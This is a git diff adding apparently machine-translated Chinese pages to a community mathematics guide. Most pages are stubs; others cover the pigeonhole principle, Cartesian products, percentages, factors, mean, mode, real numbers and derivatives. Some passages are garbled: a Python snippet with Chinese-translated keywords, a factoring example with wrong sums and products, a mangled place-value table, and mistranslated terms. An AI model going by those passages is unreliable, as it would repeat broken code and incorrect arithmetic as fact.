diff --git a/client/src/guide/chinese/mathematics/counting/index.md b/client/src/guide/chinese/mathematics/counting/index.md
new file mode 100644
index 0000000000..8822bb46e5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/index.md
@@ -0,0 +1,11 @@
+---
+title: Counting
+localeTitle: 数数
+---
+## 数数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/permutations-with-replacement/index.md b/client/src/guide/chinese/mathematics/counting/permutations-with-replacement/index.md
new file mode 100644
index 0000000000..bd85e84538
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/permutations-with-replacement/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutations with Replacement
+localeTitle: 替换的排列
+---
+## 替换的排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/permutations-with-replacement/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/permutations-without-replacement/index.md b/client/src/guide/chinese/mathematics/counting/permutations-without-replacement/index.md
new file mode 100644
index 0000000000..c47ba8a693
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/permutations-without-replacement/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutations Without Replacement
+localeTitle: 没有替换的排列
+---
+## 没有替换的排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/permutations-without-replacement/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/pigeonhole-principle/index.md b/client/src/guide/chinese/mathematics/counting/pigeonhole-principle/index.md
new file mode 100644
index 0000000000..958c495f52
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/pigeonhole-principle/index.md
@@ -0,0 +1,30 @@
+---
+title: Pigeonhole Principle
+localeTitle: 鸽笼原理
+---
+## 鸽笼原理
+
+鸽笼原则是一种逻辑和直观观察的数学形式化。用一个例子可以最好地理解这种观察。
+
+### 例
+
+有五个盒子和六个球。将六个球中的每一个放入五个盒子中的一个中。 _必须_至少有一个盒子，其中至少有两个球。如果将五个球放入五个盒子中，使得没有盒子中有两个球，那么无论第六个球被放入什么盒子，该盒子将有多个球。
+
+### 概括
+
+对于N个盒子和M个球，这个观察可以推广。如果有N个盒子和M个球，并且M> N，那么至少一个盒子必须包含多个球。
+
+请注意，鸽笼原则并没有告诉我们哪个盒子有多个球，或者任何一个盒子有多少球。鸽笼原则仅表明存在多个球的盒子。
+
+### 用于计算机科学
+
+鸽笼原则经常出现在计算机科学中。例如，SHA256散列算法接受任何大小的输入（如字符串）并输出256位值。由于SHA256散列算法的输出始终为256位，因此存在2 ^ 256个可能的散列。虽然这是一个非常大的数字，但是有无数可能的输入。使用上面的概括，我们可以说我们的N = 2 ^ 256和我们的M =无穷大。因为无穷大大于2 ^ 256（M> N），所以通过Pigeonhole原则，这些散列中的至少一个必须具有两个不同的输入，这些输入散列到相同的值。计算机科学家称两个不同的输入共享共同的哈希冲突。
+
+### 用于一般计数问题
+
+我们可以使用鸽笼原则来证明一些更深奥的东西。一个常见的例子是头发计数问题。人体头部有0到约150,000根头发。为了保持安全，让我们说一个人的头上可以有多达一百万根头发。法国巴黎的人口约为220万。如果我们根据他们头上有多少头发将巴黎的每个人分成盒子，那么我们可以使用上面的概括来说N = 1000000（盒子的数量，每个可能的头发数一个盒子）和M = 2200000（法国巴黎的人口）。由于M> N，根据鸽笼原则我们可以肯定地说，巴黎至少有两个人头上必须有相同数量的头发。
+
+#### 更多信息：
+
+*   [维基百科 - 鸽笼原则](https://en.wikipedia.org/wiki/Pigeonhole_principle)
+*   [Pigeonhole原则的更有趣的例子](https://mindyourdecisions.com/blog/2008/11/25/16-fun-applications-of-the-pigeonhole-principle/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/rule-of-product/index.md b/client/src/guide/chinese/mathematics/counting/rule-of-product/index.md
new file mode 100644
index 0000000000..8980e81a8c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/rule-of-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Rule of Product
+localeTitle: 产品规则
+---
+## 产品规则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/rule-of-product/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/rule-of-sum/index.md b/client/src/guide/chinese/mathematics/counting/rule-of-sum/index.md
new file mode 100644
index 0000000000..e4bf23860e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/rule-of-sum/index.md
@@ -0,0 +1,7 @@
+---
+title: Rule of Sum
+localeTitle: 总和规则
+---
+## 总和规则
+
+简单地说，Sum of Sum规定，如果我们有A做某事的方法和B做另一件事的方式而我们不能同时做两件事，那么有A + B方法可以选择其中一个动作。基本计数原则。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/tree-diagrams/index.md b/client/src/guide/chinese/mathematics/counting/tree-diagrams/index.md
new file mode 100644
index 0000000000..a455939f7e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/tree-diagrams/index.md
@@ -0,0 +1,11 @@
+---
+title: Tree Diagrams
+localeTitle: 树图
+---
+## 树图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/tree-diagrams/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/cramers-rule/index.md b/client/src/guide/chinese/mathematics/cramers-rule/index.md
new file mode 100644
index 0000000000..dbce0b0cd9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/cramers-rule/index.md
@@ -0,0 +1,11 @@
+---
+title: Cramers Rule
+localeTitle: Cramers规则
+---
+## Cramers规则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cramers-rule/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/cross-multiply/index.md b/client/src/guide/chinese/mathematics/cross-multiply/index.md
new file mode 100644
index 0000000000..b1fe43e386
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/cross-multiply/index.md
@@ -0,0 +1,11 @@
+---
+title: Cross Multiply
+localeTitle: 交叉乘法
+---
+## 交叉乘法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cross-multiply/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/cross-product/index.md b/client/src/guide/chinese/mathematics/cross-product/index.md
new file mode 100644
index 0000000000..c965bfeb4a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/cross-product/index.md
@@ -0,0 +1,30 @@
+---
+title: Cross Product
+localeTitle: 交叉产品
+---
+## 交叉产品
+
+在集合论中，两组的叉积是在集合上执行的二元运算，其输出结果集。 它用符号X表示。有时它也被称为数学家Rene Descartes之后的笛卡尔积。
+```
+
+ AXB = {(a, b) | a &isin; A and b &isin; B} 
+```
+
+### 例子
+```
+let us have, 
+  set A = {a, b} 
+ & set B = {1, 2} 
+ then AXB = {(a, 1), (a, 2), 
+               (b, 1), (b, 2)} 
+```
+
+### 使用
+
+它用于在组合数据库中的两个表之后生成所有可能的组合。
+
+### 参考
+
+[维基百科文章](https://en.wikipedia.org/wiki/Cartesian_product)
+
+[Wofram Alpha](https://www.wolframalpha.com/input/?i=Cartesian+product&lk=1&a=ClashPrefs_*MathWorld.CartesianProduct-)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/cylinder-volume-and-surface-area/index.md b/client/src/guide/chinese/mathematics/cylinder-volume-and-surface-area/index.md
new file mode 100644
index 0000000000..515fd4bfb2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/cylinder-volume-and-surface-area/index.md
@@ -0,0 +1,11 @@
+---
+title: Cylinder Volume and Surface Area
+localeTitle: 气缸容积和表面积
+---
+## 气缸容积和表面积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cylinder-volume-and-surface-area/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/decimals-fractions-and-percentages/index.md b/client/src/guide/chinese/mathematics/decimals-fractions-and-percentages/index.md
new file mode 100644
index 0000000000..9a7adcf700
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/decimals-fractions-and-percentages/index.md
@@ -0,0 +1,55 @@
+---
+title: Decimals Fractions and Percentages
+localeTitle: 小数分数和百分比
+---
+## 小数分数和百分比
+
+小数，分数和百分比是表示“整体的一部分”的不同表示。
+
+让我们从现实世界的例子开始：
+
+3.5倍的大小 2/3的披萨 20％的利润
+
+请注意上面例子中的一件事：它们都代表一些数量作为整体的一部分。
+
+### 转换小数，分数和百分比
+
+#### 百分比到十进制
+
+要将百分比转换为小数，只需将小数点向左移动两个位置并丢弃百分比符号：
+
+例如25％变为0.25 例如5％变为0.05 例如34.23％变为0.3423
+
+#### 分数百分比
+
+请记住，是百分之`per cent`含义`per hundred` 。因此，要将百分比转换为分数，请将上述数字的百分比设置为100以上，并丢弃百分比符号，然后在可能的情况下简单地删除结果分数：
+
+例如55％变为55/100，等于11/20 例如75％变为75/100，等于3/4
+
+#### 十进制到百分比
+
+要将小数转换为百分比，只需将小数点向右移动两个位置并添加百分比符号：
+
+例如0.25变为25％ 例如0.05变为5％ 例如0.3423变为34.23％
+
+#### 十进制到分数
+
+要将小数转换为小数，请记住小数点右边的第一个数字是十分位数，依此类推，小数点左边的第一个数字是单位数字，依此类推。考虑数字137.634
+
+| 1 | 3 | 7 |。 | 6 | 3 | 4 | | ：-----------：|：-------------：| ：-------------：|：-------------：| ：-------------：| ：-------------：| ：-------------：| |数百|十分|单位| |十分之一| Hunderdeths |千分之一|
+
+分母中的零数应与小数位数相匹配（不包括小数点前面的可能0）：
+
+例如，0.4是十分之四，等于4/10 例如，0.34是三十四百，等于34/100 例如，0.009是千分之九，相当于9/1000
+
+#### 分数到十进制
+
+要将分数转换为小数，请将分子除以分母：
+
+例如，5/8是5除以8，等于0.625 例如，3/4是3除以4，等于0.75
+
+#### 分数百分比
+
+要从分数转换为分数，首先使用上述步骤将分数转换为小数，将重新分配的小数转换为百分比：
+
+例如1/2是0.50，等于50％ 例如4/5是0.80，等于80％
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/definition-of-factor/index.md b/client/src/guide/chinese/mathematics/definition-of-factor/index.md
new file mode 100644
index 0000000000..65c8b92e7f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/definition-of-factor/index.md
@@ -0,0 +1,19 @@
+---
+title: Definition of Factor
+localeTitle: 因子的定义
+---
+## 因子的定义
+
+因素是两个数字，我们可以将它们相乘以产生另一个数字。 例如，2 \* 10 = 20，因此2和10是20的因子。
+
+通常在代数中，我们想要分解出表达式。 取（x ^ 2 + 4x +3），形式为Ax ^ 2 + Bx + C. 为了通过寻找将乘以等于C并加起来等于C的两个数来对此进行分解。 3和4加起来4并乘以等于3。
+
+考虑到这一点，（x ^ 2 + 4x +3）可以分解为（x + 3）（x + 1）。
+
+可以用两种方式定义因子。第一个是乘法。取_3 \* 4 = 12_ 。这里有_3_和_4个_因素，它们共同构成了一个产品。另一种可以定义因子的方法是，如果除法时的余数等于0.取数字12.如果我们将12除以4 _12/4 = 3_ 余数为0.没有小数空格，因此4是_因子_ 12.同样，如果我们这样做 _12/3 = 4_ 我们还得到0的余数。因此，3和4都是12的因子。
+
+我们可以简化这个并使用_％_作为模数函数。这会给我们 _12％3 = 0_ 因为模数函数在除法时返回余数，所以在使用模数时返回0的任何数字都是另一个数字的因子。
+
+#### 更多信息：
+
+[这是一个](https://www.khanacademy.org/math/pre-algebra/pre-algebra-factors-multiples/pre-algebra-factors-mult/v/finding-factors-of-a-number)解释分解数字的快速视频[的链接](https://www.khanacademy.org/math/pre-algebra/pre-algebra-factors-multiples/pre-algebra-factors-mult/v/finding-factors-of-a-number) 详细了解如何[在此处](https://www.khanacademy.org/math/pre-algebra/pre-algebra-factors-multiples/pre-algebra-factors-mult/v/finding-factors-and-multiples)分解表达式
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/definition-of-mean/index.md b/client/src/guide/chinese/mathematics/definition-of-mean/index.md
new file mode 100644
index 0000000000..63d0cf7c06
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/definition-of-mean/index.md
@@ -0,0 +1,28 @@
+---
+title: Definition of Mean
+localeTitle: 均值的定义
+---
+## 均值的定义
+
+在统计中，术语“ _均值”_是指数据集合中的“平均”值。您可以通过将所有数字相加，然后除以集合中的值总数来找到此值。
+
+均值是数据集的平均值。
+
+通过将一组数据中的每个数字相加并将该总数除以数据集中的数字量来计算平均值。
+
+![平均计算的一个例子](https://github.com/tribalizzles/FreeCodeCamp-projects/blob/master/Mean_Calculation.png?raw=true)
+
+### 例
+
+（5,8,10,12,15）的平均值为8：
+
+_为了找到平均值，我们将找到所有这些数字的总和（40）并将其除以集合中的值的数量（5）。 40/5是8，这是集合中的平均值。_
+
+### 中位数和模式
+
+均值通常与[中位数](https://en.wikipedia.org/wiki/Median)混淆， [中位数](https://en.wikipedia.org/wiki/Median)是集合和[模式](https://guide.freecodecamp.org/mathematics/definition-of-mode)中间的值，即集合中最常出现的值。
+
+### 更多信息
+
+*   [平均值的定义](http://www.mathsisfun.com/definitions/mean.html)
+*   [如何计算均值](http://www.mathsisfun.com/mean.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/definition-of-mode/index.md b/client/src/guide/chinese/mathematics/definition-of-mode/index.md
new file mode 100644
index 0000000000..076f697fcf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/definition-of-mode/index.md
@@ -0,0 +1,44 @@
+---
+title: Definition of Mode
+localeTitle: 模式的定义
+---
+## 模式的定义
+
+在统计中，术语“ _模式”_是指最频繁出现的一组数据中的一个或多个值。因为它最常出现在数据集中，所以_模式_是最可能随机采样的值。
+
+一组数字的模式表示该组中最常出现的值。 给定数据分布，模式可以被描述为如果数据是离散的概率质量函数的最大值，或者如果数据是连续的则概率分布函数。
+
+#### 一组数据可以具有一种或多种模式
+
+考虑数据集14,16,21,33,37,16,39,33这里16和33每次出现两次。所有其他数字仅出现一次。因此，16和33的最大出现频率为2.因此，给定数据集有两种模式，即16和33.一组数字，其中有两个最常出现的数字可被描述为双模态，任何大于2的数字都被称为多模式。
+
+#### 也可以有一组没有模式的数据
+
+考虑数据集10,15,24,34,38,16,41。这里所有数字仅出现一次。因此，没有一个数字具有最大发生频率。因此，该给定数据集没有模式。
+
+## 查找数据集模式的规则
+
+*   检查数据集的所有数字，并查找是否多次出现一个或多个数字。
+*   具有最大出现频率的数字是模式。
+*   如果多个数字具有最大频率，则数据集有多个模式。
+*   如果所有数据集的数量仅出现一次，则数据集没有模式。
+
+#### 例
+
+（1,2,3,2,4,5）的模式是**2** ：
+
+_要查找模式，您必须计算数据集中每个值的出现次数。值2在数据集中出现两次，其余值仅出现一次，这是第二种模式。_
+
+（7,7,8,8,9）的模式是7 **和** 8：
+
+_如果数据集中最常出现的值存在平局，则模式是具有此频率的每个值。_
+
+#### 平均值和中位数
+
+模式经常与[均值](https://guide.freecodecamp.org/mathematics/definition-of-mean)混淆，即数据集中的平均值 [中位数](https://en.wikipedia.org/wiki/Median) ，数据集中间的值。
+
+#### 更多信息：
+
+[维基百科 - 模式](https://en.wikipedia.org/wiki/Mode_(statistics))
+
+[模式定义](https://www.tutorialspoint.com/mean_median_and_mode/mode_of_data_set.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/definition-of-real-number/index.md b/client/src/guide/chinese/mathematics/definition-of-real-number/index.md
new file mode 100644
index 0000000000..a2c1048c84
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/definition-of-real-number/index.md
@@ -0,0 +1,32 @@
+---
+title: Definition of Real Number
+localeTitle: 实数的定义
+---
+## 实数的定义
+
+> 实数可以被认为是无限长线上的点。
+
+实数包括所有有理数，例如___1/2，0，103.644___和_二百七十二分之二百七十一_ ，以及所有的无理数，如_PI，_的2的平方根，和_e_的。注意，不包括“复数”，包括非零虚数量的数字。
+
+因此，任何具有十进制表示的数字，即使该表示是无限的，也是实数， _例如1.234567891 ..._我们注意到负数的平方根没有十进制表示，因此任何负数的平方根都不是真的。恰好， _\-1的_平方根恰好是“ _i_ ”的定义， _即_虚数系统中的单位长度。下面是一个关于如何推导和定义实数的概述，但它肯定不是一个正式的证据。
+
+考虑_1_的概念，单个实体，一个单元。让自然数集**_N_**由规则描述：
+
+*   _1_是自然数
+*   每个自然数都只有一个后继（一个比自身大的数字）。
+*   _1_没有继任者。
+
+这些定义了计数的概念，并且除了本文的范围之外还有一些规则，可以在这组新的数字**_N中_**定义诸如加法和闭包之类的规则。该集合与_0_的概念一起创建了整数集。当将“负数”的概念添加到该组“整数”时，形成整数。负数是数字b，使得_a + b = 0_ ，其中_a_在**_N中_** （因此_a_既不是0也不是负本身）。我们将这个联合称为_0_ ， **_N_**和负数**_Z_** ，或_整数_ 。
+
+我们在操作“ _\*_ ”下定义乘法，使得如果_a_和_b_在**_Z中_** ，则_a \* b = c，_如果_c = a + ... + a_ ， _b_次。因此，整数中的乘法实际上只是一个总和。注意，通过该定义，可以进行负数的加法。我们现在使用乘法来定义除法，这将允许我们定义有理数。
+
+我们在操作“ _/_ ”下定义除法，使得如果_a_和_b_在**_Z中_** ，则_c = a / b_当且仅当存在_a = b \* c + r时_ ，其中_r = 0_ ，并且_c_是在**_Z._**但是如果_a = b \* c + r_ ，其中_0 <r <b_怎么办？然后_b_不均匀地划分_a_ ，并且该等式在我们的数字系统**_Z_**内是不可解的。但是，如果这个方程是可解的，并且_c_可以表示为一个_比率_ ，那么_c = a / b_尽管_b_不均匀地划分_a_ ？这暗示了一组称为_有理数_ **_Q的_** _数字_ ，其成员可以表示为_a / b_ ，其中_a_和_b_在**_Z中_** 。我们注意到**_Q_**中所有数字的十进制表示都是有限的或重复的。
+
+但是，有些数字不能被描述为整数比，例如2， _pi_和_e的_平方根。所有非重复的非有限长度十进制数都是不合理的。事实上，这个属性适用于所有合理的数字基础。通过用这些无理数来“填充有理数”之间的间隙，可以构造实数**_R._**
+
+请注意，计算机实际上并不使用实数，而是计算机使用二进制整数，可用于表示“浮点”数字或整数。
+
+#### 更多信息：
+
+*   [关于实数的维基百科](https://en.wikipedia.org/wiki/Real_number)
+*   [浮点数，IEE-754](https://en.wikipedia.org/wiki/IEEE_754)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/definition-of-rectangular-prism/index.md b/client/src/guide/chinese/mathematics/definition-of-rectangular-prism/index.md
new file mode 100644
index 0000000000..0985046dc5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/definition-of-rectangular-prism/index.md
@@ -0,0 +1,11 @@
+---
+title: Definition of Rectangular Prism
+localeTitle: 矩形棱镜的定义
+---
+## 矩形棱镜的定义
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/definition-of-rectangular-prism/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/degrees-to-radians/index.md b/client/src/guide/chinese/mathematics/degrees-to-radians/index.md
new file mode 100644
index 0000000000..a612dca727
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/degrees-to-radians/index.md
@@ -0,0 +1,19 @@
+---
+title: Degrees to Radians
+localeTitle: 度数到弧度
+---
+## 度数到弧度
+
+将角度乘以pi / 180。请记住，pi弧度跨越一半的圆，即180度。 这是一个将度数转换为弧度的python函数。请享用！
+
+导入数学  
+def度_到_弧度（角度）：  
+返回角度\* math.pi / 180;
+
+#### 更多信息：
+
+一个完整的周期= 360度=2π弧度
+
+1度=2π/ 360弧度
+
+p度= p×2π/ 360弧度
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/dependent-and-independent-variables/index.md b/client/src/guide/chinese/mathematics/dependent-and-independent-variables/index.md
new file mode 100644
index 0000000000..432eb54c52
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/dependent-and-independent-variables/index.md
@@ -0,0 +1,11 @@
+---
+title: Dependent and Independent Variables
+localeTitle: 相关和独立变量
+---
+## 相关和独立变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/dependent-and-independent-variables/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/derivative-of-2/index.md b/client/src/guide/chinese/mathematics/derivative-of-2/index.md
new file mode 100644
index 0000000000..deb5a1a9f2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/derivative-of-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Derivative of 2
+localeTitle: 2的衍生物
+---
+## 2的衍生物
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/derivative-of-2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/derivative/index.md b/client/src/guide/chinese/mathematics/derivative/index.md
new file mode 100644
index 0000000000..dda7a05e42
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/derivative/index.md
@@ -0,0 +1,49 @@
+---
+title: Derivative
+localeTitle: 衍生物
+---
+## 衍生物
+
+**定义** ：函数f（x）相对于x的导数，由f'（x）表示定义为：  
+![衍生物的限制公式](http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfDerivative_files/eq0006M.gif)  
+  
+
+其中h是输入值的无限小变化，由极限函数表示（h接近零）  
+
+在上面的公式中，我们注意到导数只是任何输入值处x的图的正切的斜率。  
+
+**函数的重要属性及其衍生：**  
+函数f（x）在x = a时是可微的，当且仅当函数在f（x = a）处是连续的时。  
+相反，如果函数的导数存在于a点，则该函数必须在f（x = a）处连续。
+
+## 衍生物的性质
+
+1.  **线性**  
+    假设f（x）和g（x）是可微函数，a和b是实数。然后功能  
+    ![输入功能](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv589.gif)  
+    是可以区分的  
+    ![输出衍生物](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv590.gif)  
+    
+2.  **产品规则**  
+    对于给定函数h（x）= f（x）\* g（x），我们可以应用乘积规则来找到函数h（x）的导数为  
+    ![产品规则](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv599.gif)  
+    有关此房产的证明，请参阅更多信息（衍生物的属性）中的链接  
+    
+3.  **商数规则**  
+    商规则给出了一个函数的导数除以另一个函数。设h（x）= f（x）/ g（x）（其中g（x）不能为零）则可以使用以下方法找到h（x）的导数：  
+    ![商数规则](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv605.gif)  
+    有关此房产的证明，请参阅更多信息（衍生物的属性）中的链接  
+    
+4.  **连锁规则**  
+    链规则用于函数的函数，也称为复合函数或函数的组合。输入复合函数表示：  
+    ![复合功能](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv609.gif)  
+    然后可以使用以下规则找到输出导数：  
+    ![连锁规则](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv616.gif)  
+    有关此房产的证明，请参阅更多信息（衍生物的属性）中的链接  
+    
+
+#### 更多信息：
+
+http://tutorial.math.lamar.edu/Classes/CalcI/DerivativeIntro.aspx http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfDerivative.aspx 的衍生物性的判定（样张包括）：http://www.hyper-ad.com/tutoring/math/calculus/Properties Derivatives.html _的_
+
+**注** ：图片来自http://www.hyper-ad.com/和http://tutorial.math.lamar.edu/
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/derivatives/index.md b/client/src/guide/chinese/mathematics/derivatives/index.md
new file mode 100644
index 0000000000..e1e4f6ad59
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/derivatives/index.md
@@ -0,0 +1,43 @@
+---
+title: Derivatives
+localeTitle: 衍生品
+---
+## 衍生品
+
+导数是函数的瞬时变化率，或任何特定时刻的函数变化率。导数是微积分的工具，您可以通过限制来确定它。
+
+通过将它与代数中的斜率（平均变化率）的概念进行比较，可以理解导数的概念。
+
+我们来看一个例子：
+
+你决定从旧金山开车到加利福尼亚州的圣罗莎 - 距离大约60英里。你在一小时内完成驱动器;因此，您的平均变化率（速度）是每小时60英里。
+
+但是，对于旅行的每个瞬间，您没有以每小时60英里的速度旅行。你起步较慢，然后提高你的速度并沿途改变它，然后当你到达目的地时减速到完全停止。
+
+让我们来看看你旅行的图表，x轴代表时间（以分钟为单位），y轴代表距离（以英里为单位）。铂。 A代表旧金山，坐标（0,0）和pt。 B代表Santa Rosa，坐标为（60,60）。当您从旧金山前往圣罗莎时，曲线代表您在空间和时间上的位置。
+
+![图片](https://github.com/MarkMikow/MyFiles/blob/master/img1.png?raw=true)
+
+您可以通过取代数斜率（“上升超过运行”）来确定行程的平均速度（每次距离变化的速率）：
+
+![图片](https://github.com/MarkMikow/MyFiles/blob/master/img2.png?raw=true)
+
+使用相同的图形，您可以选择任意两个点，C（x1，y1）和D（x2，y2），并找到它们之间的斜率。此外，您可以使用函数表示法标记每个点，使得（x1，y1）变为（x，f（x））并且（x2，y2）变为（（x + h），f（x + h））， h是pt的水平距离。 D来自pt。 C：
+
+![图片](https://github.com/MarkMikow/MyFiles/blob/master/img3.png?raw=true)
+
+从pt的斜率。 C到pt。 D是：
+
+![图片](https://github.com/MarkMikow/MyFiles/blob/master/img4.png?raw=true)
+
+表达方式![图片](https://github.com/MarkMikow/MyFiles/blob/master/img5.png?raw=true)被称为差商，您可以使用它来查找从图上任何点到任何其他点的平均变化率，水平距离为h个单位。
+
+要将平均变化率（斜率）转换为瞬时变化率（导数，标记为f（x）），您可以采用差值极限：
+
+![图片](https://github.com/MarkMikow/MyFiles/blob/master/img6.png?raw=true)
+
+这是导数的正式定义，意味着你正在采用距离h并将其缩小到极小的数量。你仍然有一个斜坡，但它的终点是无限小的。事实上，如此接近，它们似乎是一个点，或者作为一个瞬间，及时出现。
+
+由于与图上的点相切的线仅在一个点处与图相交，因此导数也被定义为图上任意点的切线的斜率。在上图的示例中，每个点的导数是您行驶的瞬时速度。
+
+衍生物具有广泛的应用，并且用于物理学，工程学，经济学和其他学科。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/deriving-integration-by-parts-formula/index.md b/client/src/guide/chinese/mathematics/deriving-integration-by-parts-formula/index.md
new file mode 100644
index 0000000000..3543e7b605
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/deriving-integration-by-parts-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Deriving Integration by Parts Formula
+localeTitle: 通过零件公式推导集成
+---
+## 通过零件公式推导集成
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/deriving-integration-by-parts-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/descartes-rule-of-signs/index.md b/client/src/guide/chinese/mathematics/descartes-rule-of-signs/index.md
new file mode 100644
index 0000000000..b15db0a089
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/descartes-rule-of-signs/index.md
@@ -0,0 +1,11 @@
+---
+title: Descartes Rule of Signs
+localeTitle: 笛卡尔符号规则
+---
+## 笛卡尔符号规则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/descartes-rule-of-signs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md b/client/src/guide/chinese/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md
new file mode 100644
index 0000000000..0e07d41585
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinant of a 3 by 3 Matrix Standard Method
